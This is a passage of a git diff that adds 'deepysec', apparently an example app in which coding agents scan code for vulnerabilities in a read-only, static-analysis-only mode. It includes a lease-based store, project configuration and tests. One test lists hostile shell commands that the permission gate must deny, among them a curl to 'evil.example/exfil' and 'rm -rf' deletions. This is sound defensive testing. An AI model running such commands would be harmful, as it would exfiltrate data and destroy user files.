hashlib.sha256(content.encode()).hexdigest()[:16] + record = store.load(relative) + if record is None: + record = FileRecord( + file_path=relative, + project_id=store.project_id, + last_scanned_at=now(), + last_scanned_run_id=run.run_id, + file_hash=digest, + ) + else: + # Re-scan MERGES. A file that changed since it was analyzed, or + # that ended in `error`, is armed for the next `process`; a lock + # another run holds is left alone. + if record.status == "error" or ( + record.status == "analyzed" and record.file_hash != digest + ): + record.status = "pending" + record.last_scanned_at = now() + record.last_scanned_run_id = run.run_id + record.file_hash = digest + run.stats.candidates_found += merge_candidates(record, found) + run.stats.files_scanned += 1 + store.save(record) + run.phase = "done" + run.completed_at = now() + store.save_run(run) + log( + f"[scan] {run.stats.files_scanned} files with candidates, " + + f"{run.stats.candidates_found} new candidates (run {run.run_id})" + ) + return run diff --git a/examples/apps/deepysec/deepysec/store.py b/examples/apps/deepysec/deepysec/store.py new file mode 100644 index 00000000..c95a66d7 --- /dev/null +++ b/examples/apps/deepysec/deepysec/store.py @@ -0,0 +1,231 @@ +"""The append-only store, its merge rules, and per-file leases. + +Spec §2.9, §4.1. + + data// + ├── files/.json one FileRecord per scanned file (primary store) + ├── runs/.json one RunMeta per run + ├── debug/ raw agent output that failed the contract + └── reports/ what `export` writes + +Every stage is idempotent and additive. Nothing here deletes. +""" + +from __future__ import annotations + +import os +import socket +from datetime import UTC, datetime, timedelta +from typing import TYPE_CHECKING + +from deepysec.models import ( + AnalysisEntry, + CandidateMatch, + FileRecord, + FileStatus, + Finding, + RunMeta, + ensure_finding_ids, + now, +) + +if TYPE_CHECKING: + from pathlib import Path + +STALE_LOCK = timedelta(hours=1) + + +class Store: + def __init__(self, data_dir: Path, project_id: str) -> None: + self.project_id = project_id + self.root = data_dir / project_id + self.files_dir = self.root / "files" + self.runs_dir = self.root / "runs" + self.debug_dir = self.root / "debug" + self.reports_dir = self.root / "reports" + + # -- records ------------------------------------------------------------- + + def record_path(self, file_path: str) -> Path: + return self.files_dir / f"{file_path}.json" + + def load(self, file_path: str) -> FileRecord | None: + path = self.record_path(file_path) + if not path.is_file(): + return None + record = FileRecord.model_validate_json(path.read_text()) + ensure_finding_ids(record) # in memory; persisted on the next save + return record + + def save(self, record: FileRecord) -> None: + ensure_finding_ids(record) + _write_atomic( + self.record_path(record.file_path), record.model_dump_json(indent=2) + ) + + def records(self) -> list[FileRecord]: + if not self.files_dir.is_dir(): + return [] + out: list[FileRecord] = [] + for path in sorted(self.files_dir.rglob("*.json")): + record = FileRecord.model_validate_json(path.read_text()) + ensure_finding_ids(record) + out.append(record) + return out + + # -- runs ---------------------------------------------------------------- + + def save_run(self, run: RunMeta) -> None: + _write_atomic( + self.runs_dir / f"{run.run_id}.json", run.model_dump_json(indent=2) + ) + + def load_run(self, run_id: str) -> RunMeta | None: + path = self.runs_dir / f"{run_id}.json" + return ( + RunMeta.model_validate_json(path.read_text()) + if path.is_file() + else None + ) + + def runs(self) -> list[RunMeta]: + if not self.runs_dir.is_dir(): + return [] + return [ + RunMeta.model_validate_json(p.read_text()) + for p in sorted(self.runs_dir.glob("*.json")) + ] + + # -- debug --------------------------------------------------------------- + + def write_debug(self, name: str, text: str) -> Path | None: + """Best effort, never raises: callers are already on an error path.""" + try: + path = self.debug_dir / name + _write_atomic(path, text) + return path + except OSError: + return None + + # -- leases (spec §4.1) -------------------------------------------------- + + def claim(self, file_path: str, run: RunMeta) -> FileRecord | None: + """Atomically take a file for this run, or return None. + + Re-read, verify it is still claimable, mark it, write. Two `process` + runs on one store never both hold a record: the second re-read sees + the first one's lock. + """ + record = self.load(file_path) + if record is None or not self.is_claimable(record): + return None + record.status = "processing" + record.locked_by_run_id = run.run_id + record.locked_at = now() + self.save(record) + return record + + def is_claimable(self, record: FileRecord) -> bool: + if record.status == "pending": + return True + if record.status != "processing": + return False + owner = ( + self.load_run(record.locked_by_run_id) + if record.locked_by_run_id + else None + ) + # A same-host run whose process is gone (SIGKILL, OOM) is reclaimed + # at once rather than after the hour. + same_host = owner is not None and owner.hostname == socket.gethostname() + if ( + same_host + and owner is not None + and owner.pid + and not pid_alive(owner.pid) + ): + return True + # A missing lockedAt is "very old", for records that predate the field. + locked_at = _parse(record.locked_at) if record.locked_at else None + stale = locked_at is None or datetime.now(UTC) - locked_at > STALE_LOCK + return stale and (owner is None or owner.phase in ("done", "error")) + + def release(self, record: FileRecord, status: FileStatus) -> None: + record.status = status + record.locked_by_run_id = None + record.locked_at = None + self.save(record) + + def release_all(self, run_id: str) -> int: + """On abort: every lock this run still holds goes back to pending.""" + freed = 0 + for record in self.records(): + if ( + record.status == "processing" + and record.locked_by_run_id == run_id + ): + self.release(record, "pending") + freed += 1 + return freed + + +# -- merge rules (spec §2.9) --------------------------------------------------- + + +def merge_candidates(record: FileRecord, found: list[CandidateMatch]) -> int: + """Re-scan unions; it never deletes a stale candidate.""" + seen = {(c.vuln_slug, c.matched_pattern) for c in record.candidates} + added = 0 + for candidate in found: + key = (candidate.vuln_slug, candidate.matched_pattern) + if key not in seen: + record.candidates.append(candidate) + seen.add(key) + added += 1 + return added + + +def append_analysis( + record: FileRecord, entry: AnalysisEntry, findings: list[Finding] +) -> int: + """Re-process appends history and unions findings by (slug, title). + + A re-run that reports the same issue does not duplicate it, and + `producedByRunId` stays bound to the run that found it first. + """ + record.analysis_history.append(entry) + seen = {f.signature for f in record.findings} + added = 0 + for finding in findings: + if finding.signature in seen: + continue + finding.produced_by_run_id = entry.run_id + record.findings.append(finding) + seen.add(finding.signature) + added += 1 + ensure_finding_ids(record) + return added + + +# -- helpers ------------------------------------------------------------------- + + +def pid_alive(pid: int) -> bool: + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def _parse(stamp: str) -> datetime: + return datetime.fromisoformat(stamp.replace("Z", "+00:00")) + + +def _write_atomic(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + tmp = path.with_suffix(path.suffix + ".tmp") + tmp.write_text(text) + os.replace(tmp, path) diff --git a/examples/apps/deepysec/pyproject.toml b/examples/apps/deepysec/pyproject.toml new file mode 100644 index 00000000..7fc608a0 --- /dev/null +++ b/examples/apps/deepysec/pyproject.toml @@ -0,0 +1,40 @@ +[project] +name = "deepysec" +version = "0.1.0" +description = "deepsec's scan funnel, rebuilt on ai.harnesses" +requires-python = ">=3.12" +dependencies = [ + "ai[claude-code,sandbox]", + # direct, so the git source below applies (see tool.uv.sources) + "vercel-sandbox", +] + +[dependency-groups] +dev = [ + "pytest>=8.0", + "pytest-asyncio>=0.24", +] + +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["deepysec"] + +[tool.uv] +exclude-newer = "2 days" + +[tool.uv.sources] +# ai.harnesses is not released yet, so the app runs on this checkout. +ai = { path = "../../..", editable = true } +# vercel/vercel-py#415 (interactive PTY) is unreleased; this is the commit +# ai's dev group pins. Drop this once the `sandbox` extra has a real floor. +vercel-sandbox = { git = "https://github.com/vercel/vercel-py", rev = "ec07c8602d533067d7a9e6c400560659e65c6c50", subdirectory = "src/vercel-sandbox" } + +[tool.pytest.ini_options] +asyncio_mode = "auto" +testpaths = ["tests"] +markers = [ + "live: drives a real local harness installation (deselect with -m 'not live')", +] diff --git a/examples/apps/deepysec/tests/conftest.py b/examples/apps/deepysec/tests/conftest.py new file mode 100644 index 00000000..e6405d0b --- /dev/null +++ b/examples/apps/deepysec/tests/conftest.py @@ -0,0 +1,29 @@ +"""The example is a plain package next to this directory; make it importable. + +Offline tests check the invariants the spec says must survive a rewrite. +The one marked `live` drives the real pipeline against a real `claude`. + +The deliberately vulnerable app the scan tests run on is not in this +repository. Point `DEEPYSEC_FIXTURE` at a copy (harness-sdk keeps one in +`examples/deepysec/fixtures/vulnerable-app`); without it those tests skip. +""" + +from __future__ import annotations + +import os +import sys +from pathlib import Path + +import pytest + +EXAMPLE = Path(__file__).resolve().parent.parent +if str(EXAMPLE) not in sys.path: + sys.path.insert(0, str(EXAMPLE)) + + +@pytest.fixture +def fixture_app() -> Path: + path = os.environ.get("DEEPYSEC_FIXTURE") + if not path: + pytest.skip("set DEEPYSEC_FIXTURE to the vulnerable-app fixture") + return Path(path) diff --git a/examples/apps/deepysec/tests/test_agents.py b/examples/apps/deepysec/tests/test_agents.py new file mode 100644 index 00000000..7df890f6 --- /dev/null +++ b/examples/apps/deepysec/tests/test_agents.py @@ -0,0 +1,97 @@ +"""The ai.harnesses seam, offline: the permission table and path mapping.""" + +from __future__ import annotations + +import pytest +from deepysec.agents import shell_text, static_analysis_only + +from ai.harnesses.experimental import Allow, ApprovalContext, Deny, ToolCall +from ai.workspaces.experimental import Local + + +def ctx(name: str, **input: object) -> ApprovalContext: + return ApprovalContext( + call=ToolCall(id="1", name=name, input=dict(input)), + workspace=Local("."), + harness="claude-code", + session_id="s", + ) + + +@pytest.mark.parametrize( + ("name", "input", "allowed"), + [ + ("Bash", {"command": "rg -n 'req.query' src"}, True), + ("Bash", {"command": "cat src/a.ts 2>/dev/null | head"}, True), + ("Bash", {"command": "git log -n 5 -- src/a.ts"}, True), + ("Bash", {"command": "ls src && wc -l src/*.ts"}, True), + ("Bash", {"command": "curl https://evil.example/exfil"}, False), + ("Bash", {"command": "echo pwned > src/a.ts"}, False), + ("Bash", {"command": "cat a.ts; rm -rf src"}, False), + ("Bash", {"command": "sed -i 's/a/b/' src/a.ts"}, False), + ("Bash", {"command": "git commit -am x"}, False), + # codex: reads by running commands, under its own tool name and shell + # wrapper + ( + "commandExecution", + { + "command": "/bin/bash -lc 'cat project/src/api/exec.ts'", + "cwd": "/x", + }, + True, + ), + ( + "commandExecution", + {"command": "/bin/bash -lc \"rg --files -g '*.ts' project\""}, + True, + ), + ( + "commandExecution", + {"command": "/bin/bash -lc 'rm -rf project'"}, + False, + ), + ( + "commandExecution", + {"command": "/bin/bash -lc 'curl https://evil.example'"}, + False, + ), + ( + "commandExecution", + {"command": "/bin/bash -lc 'echo x > project/a.ts'"}, + False, + ), + ("fileChange", {"changes": {}}, False), + ("Read", {"file_path": "src/a.ts"}, True), + ("Grep", {"pattern": "x"}, True), + ("Write", {"file_path": "src/a.ts", "content": "x"}, False), + ("Edit", {"file_path": "src/a.ts"}, False), + ("WebFetch", {"url": "https://example.com"}, False), + ("NotebookEdit", {}, False), + ], +) +async def test_static_analysis_only( + name: str, + input: dict[str, object], + allowed: bool, # noqa: FBT001 +) -> None: + decision = await static_analysis_only(ctx(name, **input)) + assert isinstance(decision, Allow if allowed else Deny), decision + if isinstance(decision, Deny): + assert ( + decision.reason.startswith("static analysis only") + or "not available" in decision.reason + ) + + +@pytest.mark.parametrize( + ("wrapped", "inner"), + [ + ("/bin/bash -lc 'cat a.ts'", "cat a.ts"), + ('/bin/bash -lc "rg foo"', "rg foo"), + ("bash -c 'ls'", "ls"), + ("sh -lc ls", "ls"), + ("cat a.ts", "cat a.ts"), + ], +) +def test_shell_text_unwraps_the_login_shell(wrapped: str, inner: str) -> None: + assert shell_text(wrapped) == inner diff --git a/examples/apps/deepysec/tests/test_matchers.py b/examples/apps/deepysec/tests/test_matchers.py new file mode 100644 index 00000000..caac4ae7 --- /dev/null +++ b/examples/apps/deepysec/tests/test_matchers.py @@ -0,0 +1,94 @@ +"""Every matcher's `examples` fire against its own regex set (spec §3, §13.10). + +One discovery test over the registry: a typo in any sub-pattern is a +failure here, next to the rule, rather than a silently quieter scanner. +""" + +from __future__ import annotations + +import shutil +from typing import TYPE_CHECKING + +import pytest +from deepysec.matchers import MATCHERS, Matcher, registry +from deepysec.scan import scan +from deepysec.store import Store + +if TYPE_CHECKING: + from pathlib import Path + + +@pytest.mark.parametrize("matcher", MATCHERS, ids=lambda m: m.slug) +def test_every_example_fires(matcher: Matcher) -> None: + assert matcher.examples, "a matcher without examples is untested" + path = f"src/example.{matcher.extensions[0]}" + for example in matcher.examples: + assert matcher.match( + example, path + ), f"{matcher.slug}: did not fire on {example!r}" + + +def test_slugs_are_unique() -> None: + slugs = [m.slug for m in MATCHERS] + assert len(slugs) == len(set(slugs)) + + +def test_skip_paths_apply_to_both_gates() -> None: + ssrf = registry(only=["ssrf"])[0] + assert not ssrf.applies_to("src/proxy.test.ts") + assert ssrf.match("fetch(req.body.url);", "src/proxy.test.ts") == [] + assert ssrf.match("fetch(req.body.url);", "src/proxy.ts") + + +def test_scan_finds_every_planted_issue( + fixture_app: Path, tmp_path: Path +) -> None: + store = Store(tmp_path, "vulnerable-app") + run = scan(fixture_app, store, registry(), log=lambda _: None) + by_path = {r.file_path: r for r in store.records()} + expected = { + "src/api/users.ts": "sql-injection", + "src/api/render.ts": "xss", + "src/api/proxy.ts": "ssrf", + "src/api/exec.ts": "rce", + "src/api/login.ts": "open-redirect", + "src/lib/crypto.ts": "insecure-crypto", + "src/lib/files.ts": "path-traversal", + "src/config.ts": "secrets-exposure", + "scripts/report.py": "py-sql-raw", + # the constant sql.raw: a candidate, not a bug + "src/lib/safe.ts": "sql-injection", + } + for path, slug in expected.items(): + assert path in by_path, f"{path} was not scanned" + assert slug in { + c.vuln_slug for c in by_path[path].candidates + }, f"{path} lacks {slug}" + assert all(r.status == "pending" for r in by_path.values()) + assert run.stats.files_scanned == len(by_path) + assert run.phase == "done" + + +def test_rescan_merges_without_duplicates( + fixture_app: Path, tmp_path: Path +) -> None: + store = Store(tmp_path, "vulnerable-app") + first = scan(fixture_app, store, registry(), log=lambda _: None) + before = {r.file_path: len(r.candidates) for r in store.records()} + second = scan(fixture_app, store, registry(), log=lambda _: None) + after = {r.file_path: len(r.candidates) for r in store.records()} + assert before == after + assert second.stats.candidates_found == 0 + assert first.run_id != second.run_id + + +def test_own_data_dir_is_never_scanned( + fixture_app: Path, tmp_path: Path +) -> None: + root = tmp_path / "app" + shutil.copytree(fixture_app, root) + store = Store(root / ".deepsec" / "data", "app") + scan(root, store, registry(), log=lambda _: None) + (root / ".deepsec" / "data" / "planted.ts").write_text("eval(x);\n") + scan(root, store, registry(), log=lambda _: None) + assert not any(r.file_path.startswith(".deepsec") for r in store.records()) diff --git a/examples/apps/deepysec/tests/test_pipeline.py b/examples/apps/deepysec/tests/test_pipeline.py new file mode 100644 index 00000000..6fc5afef --- /dev/null +++ b/examples/apps/deepysec/tests/test_pipeline.py @@ -0,0 +1,198 @@ +"""The whole funnel against a real `claude`, on the vulnerable fixture. + +scan → process → revalidate → enrich → export, then the acceptance criteria that +need an agent to check (spec §13): resumability/idempotence, cost-sum equality, +append-only, finding identity. Costs a few cents; minutes, not seconds. +""" + +from __future__ import annotations + +import shutil +import subprocess +from typing import TYPE_CHECKING + +import pytest +from deepysec.agents import gateway_from_env, open_workers +from deepysec.enrich import enrich +from deepysec.export import export, status +from deepysec.matchers import registry +from deepysec.models import AgentVerdict +from deepysec.process import process +from deepysec.revalidate import revalidate +from deepysec.scan import scan +from deepysec.store import Store + +if TYPE_CHECKING: + from pathlib import Path + +pytestmark = [ + pytest.mark.live, + pytest.mark.slow, + pytest.mark.timeout(1200), + pytest.mark.skipif( + shutil.which("claude") is None, reason="claude is not installed" + ), +] + +VERDICTS = set(AgentVerdict.__args__) # type: ignore[attr-defined] + + +async def test_pipeline_end_to_end(fixture_app: Path, tmp_path: Path) -> None: + root = tmp_path / "app" + shutil.copytree(fixture_app, root) + subprocess.run(["git", "init", "-q"], cwd=root, check=True) + subprocess.run( + [ + "git", + "-c", + "user.name=Fixture", + "-c", + "user.email=fixture@example.com", + "add", + "-A", + ], + cwd=root, + check=True, + ) + subprocess.run( + [ + "git", + "-c", + "user.name=Fixture", + "-c", + "user.email=fixture@example.com", + "commit", + "-qm", + "plant", + ], + cwd=root, + check=True, + ) + store = Store(root / ".deepsec" / "data", "app") + quiet = print + + scan(root, store, registry(), log=quiet) + + # Your own login when claude has one here; the gateway when a key is around. + gateway = gateway_from_env() + # Precise candidates first, so --limit 2 is exec.ts (rce) and users.ts + # (sql-injection). + async with open_workers( + agent="claude", model=None, root=root, sandboxes=0, gateway=gateway + ) as workers: + run = await process( + store, + workers, + batch_size=2, + concurrency=1, + limit=2, + timeout=600, + log=quiet, + ) + assert run.phase == "done" + assert run.stats.files_processed == 2 + analyzed = { + r.file_path: r for r in store.records() if r.status == "analyzed" + } + assert set(analyzed) == {"src/api/exec.ts", "src/api/users.ts"} + for record in analyzed.values(): + assert record.findings, ( + f"{record.file_path}: an unambiguous planted bug was not " + "reported" + ) + assert len(record.analysis_history) == 1 + assert record.locked_by_run_id is None + assert all( + f.finding_id and f.produced_by_run_id == run.run_id + for f in record.findings + ) + + # Cost attribution: per-file shares sum to the run total. + shares = [ + e.cost_usd or 0.0 + for r in analyzed.values() + for e in r.analysis_history + ] + assert run.stats.total_cost_usd > 0 + assert abs(sum(shares) - run.stats.total_cost_usd) < 1e-9 + tokens = sum( + e.usage.input_tokens + for r in analyzed.values() + for e in r.analysis_history + if e.usage + ) + assert tokens == run.stats.total_input_tokens > 0 + + # Idempotent restart: nothing eligible is left within the limit, nothing + # is redone. + again = await process( + store, + workers, + batch_size=2, + concurrency=1, + limit=2, + timeout=600, + log=quiet, + ) + assert ( + again.stats.files_processed == 2 + ) # the next two pending files, not the same two + assert { + r.file_path for r in store.records() if r.status == "analyzed" + } > set(analyzed) + for path, before in analyzed.items(): + after = store.load(path) + assert after is not None + assert [e.run_id for e in after.analysis_history] == [run.run_id] + assert [f.finding_id for f in after.findings] == [ + f.finding_id for f in before.findings + ] + + # Revalidate everything found so far; every verdict is one the agent may + # give. + rerun = await revalidate( + store, + workers, + min_severity="LOW", + batch_size=4, + concurrency=1, + timeout=600, + log=quiet, + ) + assert rerun.phase == "done" + findings = [f for r in store.records() for f in r.findings] + assert findings + revalidated = [f for f in findings if f.revalidation is not None] + assert revalidated, "no finding received a verdict" + assert all( + f.revalidation is not None and f.revalidation.verdict in VERDICTS + for f in revalidated + ) + for f in revalidated: + v = f.revalidation + assert v is not None + if v.verdict == "duplicate": + primary = next( + g for g in findings if g.finding_id == v.duplicate_of + ) + assert ( + primary.revalidation is None + or primary.revalidation.verdict != "duplicate" + ) + assert rerun.stats.findings_revalidated == len(revalidated) + + enriched = enrich(root, store, log=quiet) + assert enriched >= 1 + for r in store.records(): + if r.findings: + assert r.git_info is not None + assert r.git_info.recent_committers[0].name == "Fixture" + + json_path, md_path = export(store) + assert json_path.is_file() and md_path.is_file() + report = md_path.read_text() + assert findings[0].title in report + assert "Recent committers" in report + snapshot = status(store) + assert "analyzed" in snapshot and "findings:" in snapshot + print(snapshot) diff --git a/examples/apps/deepysec/tests/test_store.py b/examples/apps/deepysec/tests/test_store.py new file mode 100644 index 00000000..0b5fe287 --- /dev/null +++ b/examples/apps/deepysec/tests/test_store.py @@ -0,0 +1,332 @@ +"""The invariants a rewrite must keep (spec §2.4, §2.9, §4.1, §5, §13).""" + +from __future__ import annotations + +import os +import socket +from datetime import UTC, datetime, timedelta +from typing import TYPE_CHECKING, Any + +import pytest +from deepysec.models import ( + AnalysisEntry, + CandidateMatch, + FileRecord, + Finding, + Revalidation, + RunMeta, + Verdict, + ensure_finding_ids, + finding_id, + now, + split_evenly, +) +from deepysec.revalidate import reconcile +from deepysec.store import Store, append_analysis, merge_candidates +from pydantic import ValidationError + +if TYPE_CHECKING: + from pathlib import Path + + +def loaded(store: Store, path: str) -> FileRecord: + loaded = store.load(path) + assert loaded is not None + return loaded + + +def record(path: str = "src/a.ts", **kw: Any) -> FileRecord: + return FileRecord( + file_path=path, + project_id="p", + last_scanned_at=now(), + last_scanned_run_id="scan", + file_hash="h", + **kw, + ) + + +def finding(title: str, slug: str = "xss", **kw: Any) -> Finding: + return Finding( + severity="HIGH", vuln_slug=slug, title=title, description="d", **kw + ) + + +# -- identity ------------------------------------------------------------------ + + +def test_finding_id_is_deterministic_and_path_normalized() -> None: + a = finding_id("p", "src/a.ts", "SQLi in getUser") + assert a.startswith("finding_") and len(a) == len("finding_") + 16 + assert a == finding_id("p", "./src/a.ts", "SQLi in getUser") + assert a == finding_id("p", "src\\a.ts", "SQLi in getUser") + assert a != finding_id("q", "src/a.ts", "SQLi in getUser") + assert a != finding_id("p", "src/a.ts", "SQLi in getUser ") + + +def test_backfill_salts_same_title_collisions_stably() -> None: + r = record(findings=[finding("dup", "xss"), finding("dup", "rce")]) + assert ensure_finding_ids(r) + first, second = (f.finding_id for f in r.findings) + assert first != second + r2 = record(findings=[finding("dup", "xss"), finding("dup", "rce")]) + ensure_finding_ids(r2) + assert [f.finding_id for f in r2.findings] == [first, second] + assert not ensure_finding_ids(r2) + + +# -- merge rules --------------------------------------------------------------- + + +def test_reprocess_appends_history_and_unions_findings() -> None: + r = record() + entry = AnalysisEntry( + run_id="r1", + investigated_at=now(), + duration_ms=1, + agent_type="claude-code", + model="m", + finding_count=1, + ) + assert append_analysis(r, entry, [finding("A")]) == 1 + entry2 = entry.model_copy(update={"run_id": "r2", "agent_type": "codex"}) + assert append_analysis(r, entry2, [finding("A"), finding("B")]) == 1 + assert [e.run_id for e in r.analysis_history] == ["r1", "r2"] + assert [f.title for f in r.findings] == ["A", "B"] + assert ( + r.findings[0].produced_by_run_id == "r1" + ) # first discovery, never updated + assert r.findings[1].produced_by_run_id == "r2" + assert all(f.finding_id for f in r.findings) + + +def test_rescan_unions_candidates() -> None: + r = record() + c = CandidateMatch( + vuln_slug="xss", line_numbers=[1], snippet="s", matched_pattern="p" + ) + assert merge_candidates(r, [c]) == 1 + assert ( + merge_candidates(r, [c, c.model_copy(update={"matched_pattern": "q"})]) + == 1 + ) + assert len(r.candidates) == 2 + + +def test_on_disk_shape_is_deepsecs(tmp_path: Path) -> None: + store = Store(tmp_path, "p") + r = record(findings=[finding("A")]) + store.save(r) + text = store.record_path("src/a.ts").read_text() + assert ( + '"filePath"' in text and '"vulnSlug"' in text and '"findingId"' in text + ) + assert "file_path" not in text + assert store.load("src/a.ts") == store.records()[0] + + +# -- leases -------------------------------------------------------------------- + + +def run_meta(**kw: Any) -> RunMeta: + return RunMeta(project_id="p", root_path="/x", type="process", **kw) + + +def test_claim_is_exclusive(tmp_path: Path) -> None: + store = Store(tmp_path, "p") + store.save(record()) + me = run_meta(pid=os.getpid(), hostname=socket.gethostname()) + store.save_run(me) + other = run_meta(pid=os.getpid(), hostname=socket.gethostname()) + store.save_run(other) + assert store.claim("src/a.ts", me) is not None + assert store.claim("src/a.ts", other) is None # held by a live run + assert store.claim("src/a.ts", me) is None # not even by the holder twice + + +def test_stale_lock_of_finished_run_is_reclaimed(tmp_path: Path) -> None: + store = Store(tmp_path, "p") + dead = run_meta(phase="done", hostname="elsewhere", pid=1) + store.save_run(dead) + old = ( + (datetime.now(UTC) - timedelta(hours=2)) + .isoformat() + .replace("+00:00", "Z") + ) + store.save( + record(status="processing", locked_by_run_id=dead.run_id, locked_at=old) + ) + assert store.is_claimable(loaded(store, "src/a.ts")) + fresh = now() + store.save( + record( + status="processing", locked_by_run_id=dead.run_id, locked_at=fresh + ) + ) + assert not store.is_claimable(loaded(store, "src/a.ts")) + + +def test_stale_lock_of_running_run_elsewhere_waits(tmp_path: Path) -> None: + store = Store(tmp_path, "p") + running = run_meta(phase="running", hostname="elsewhere", pid=1) + store.save_run(running) + old = ( + (datetime.now(UTC) - timedelta(hours=2)) + .isoformat() + .replace("+00:00", "Z") + ) + store.save( + record( + status="processing", locked_by_run_id=running.run_id, locked_at=old + ) + ) + assert not store.is_claimable(loaded(store, "src/a.ts")) + + +def test_same_host_dead_pid_is_reclaimed_immediately(tmp_path: Path) -> None: + store = Store(tmp_path, "p") + crashed = run_meta( + phase="running", hostname=socket.gethostname(), pid=2**22 - 7 + ) + store.save_run(crashed) + store.save( + record( + status="processing", + locked_by_run_id=crashed.run_id, + locked_at=now(), + ) + ) + assert store.is_claimable(loaded(store, "src/a.ts")) + + +def test_missing_run_and_missing_locked_at_count_as_very_old( + tmp_path: Path, +) -> None: + store = Store(tmp_path, "p") + store.save( + record(status="processing", locked_by_run_id="gone", locked_at=None) + ) + assert store.is_claimable(loaded(store, "src/a.ts")) + + +def test_release_all_frees_only_this_runs_locks(tmp_path: Path) -> None: + store = Store(tmp_path, "p") + me = run_meta(pid=os.getpid(), hostname=socket.gethostname()) + other = run_meta(pid=os.getpid(), hostname=socket.gethostname()) + store.save_run(me) + store.save_run(other) + store.save(record("a.ts")) + store.save(record("b.ts")) + assert store.claim("a.ts", me) and store.claim("b.ts", other) + assert store.release_all(me.run_id) == 1 + assert loaded(store, "a.ts").status == "pending" + assert loaded(store, "b.ts").status == "processing" + + +# -- cost attribution ---------------------------------------------------------- + + +@pytest.mark.parametrize( + ("total", "parts"), [(10, 3), (0, 4), (7, 7), (1, 2), (100, 1)] +) +def test_split_evenly_sums_exactly(total: int, parts: int) -> None: + shares = split_evenly(total, parts) + assert len(shares) == parts and sum(shares) == total + assert max(shares) - min(shares) <= 1 + + +# -- revalidation contract ----------------------------------------------------- + + +def test_agent_can_never_emit_accepted_risk() -> None: + with pytest.raises(ValidationError): + Verdict.model_validate( + { + "finding_id": "finding_x", + "verdict": "accepted-risk", + "reasoning": "no", + } + ) + Revalidation( + verdict="accepted-risk", + reasoning="manual", + revalidated_at=now(), + run_id="r", + model="human", + ) + + +def test_duplicate_invariant() -> None: + r = record(findings=[finding("A"), finding("B"), finding("C")]) + ensure_finding_ids(r) + a, b, c = (f.finding_id or "" for f in r.findings) + items = [(r, f) for f in r.findings] + verdicts = [ + Verdict(finding_id=a, verdict="true-positive", reasoning="real"), + Verdict( + finding_id=b, verdict="duplicate", reasoning="same", duplicate_of=a + ), + Verdict( + finding_id=c, verdict="duplicate", reasoning="same", duplicate_of=b + ), # points at a duplicate + ] + applied, rejected = reconcile(items, verdicts, run_id="r", model="m") + assert applied == 2 and rejected == [c] + assert r.findings[2].revalidation is None + self_ref = [ + Verdict( + finding_id=c, verdict="duplicate", reasoning="me", duplicate_of=c + ) + ] + assert reconcile(items, self_ref, run_id="r", model="m") == (0, [c]) + missing = [ + Verdict( + finding_id=c, + verdict="duplicate", + reasoning="?", + duplicate_of="finding_nope", + ) + ] + assert reconcile(items, missing, run_id="r", model="m") == (0, [c]) + + +def test_manual_accepted_risk_is_never_overwritten() -> None: + f = finding("A") + f.revalidation = Revalidation( + verdict="accepted-risk", + reasoning="known", + revalidated_at=now(), + run_id="h", + model="human", + ) + r = record(findings=[f]) + ensure_finding_ids(r) + applied, _ = reconcile( + [(r, f)], + [ + Verdict( + finding_id=f.finding_id or "", + verdict="true-positive", + reasoning="x", + ) + ], + run_id="r", + model="m", + ) + assert applied == 0 and f.revalidation.verdict == "accepted-risk" + + +def test_verdicts_for_unknown_ids_are_ignored() -> None: + r = record(findings=[finding("A")]) + ensure_finding_ids(r) + applied, rejected = reconcile( + [(r, r.findings[0])], + [ + Verdict( + finding_id="finding_stranger", verdict="fixed", reasoning="?" + ) + ], + run_id="r", + model="m", + ) + assert (applied, rejected) == (0, []) and r.findings[0].revalidation is None diff --git a/examples/apps/deepysec/uv.lock b/examples/apps/deepysec/uv.lock new file mode 100644 index 00000000..b90d19b7 --- /dev/null +++ b/examples/apps/deepysec/uv.lock @@ -0,0 +1,886 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" +resolution-markers = [ + "python_full_version >= '3.14'", + "python_full_version < '3.14'", +] + +[options] +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer-span = "P2D" + +[[package]] +name = "ai" +source = { editable = "../../../" } +dependencies = [ + { name = "httpx2" }, + { name = "modelsdotdev" }, + { name = "pydantic" }, + { name = "typing-extensions" }, +] + +[package.optional-dependencies] +claude-code = [ + { name = "claude-agent-sdk" }, +] +sandbox = [ + { name = "vercel-sandbox" }, +] + +[package.metadata] +requires-dist = [ + { name = "anthropic", marker = "extra == 'anthropic'", specifier = ">=0.83.0,<2.0.0" }, + { name = "claude-agent-sdk", marker = "extra == 'claude-code'", specifier = ">=0.2.144,<0.3" }, + { name = "httpx2", specifier = ">=2.12.0" }, + { name = "mcp", marker = "extra == 'mcp'", specifier = ">=2.0.0,<3.0.0" }, + { name = "modelsdotdev", specifier = "==0.*" }, + { name = "openai", marker = "extra == 'openai'", specifier = ">=2.34.0,<4.0.0" }, + { name = "opentelemetry-exporter-otlp-proto-http", marker = "extra == 'otel'", specifier = ">=1.30" }, + { name = "opentelemetry-sdk", marker = "extra == 'otel'", specifier = ">=1.30" }, + { name = "pydantic", specifier = ">=2.13" }, + { name = "typing-extensions", specifier = ">=4.15.0" }, + { name = "vercel-oidc", marker = "extra == 'vercel'", specifier = ">=0.8.0" }, + { name = "vercel-sandbox", marker = "extra == 'sandbox'" }, +] +provides-extras = ["anthropic", "claude-code", "mcp", "openai", "otel", "sandbox", "vercel"] + +[package.metadata.requires-dev] +dev = [ + { name = "anthropic", specifier = ">=0.83.0" }, + { name = "async-solipsism", specifier = ">=0.9" }, + { name = "claude-agent-sdk", specifier = ">=0.2.144,<0.3" }, + { name = "mcp", specifier = ">=2.0.0,<3.0.0" }, + { name = "mypy", specifier = "~=2.1.0" }, + { name = "openai", specifier = ">=2.14.0" }, + { name = "opentelemetry-exporter-otlp-proto-http", specifier = ">=1.43.0" }, + { name = "opentelemetry-sdk", specifier = ">=1.43.0" }, + { name = "pytest", specifier = ">=8.0" }, + { name = "pytest-asyncio", specifier = ">=0.24" }, + { name = "pytest-timeout", specifier = ">=2.3" }, + { name = "python-dotenv", specifier = ">=1.2.1" }, + { name = "rich", specifier = ">=14.2.0" }, + { name = "ruff", specifier = "~=0.8.0" }, + { name = "ty", specifier = "~=0.0.37" }, + { name = "vercel-oidc", specifier = ">=0.8.0" }, + { name = "vercel-sandbox", git = 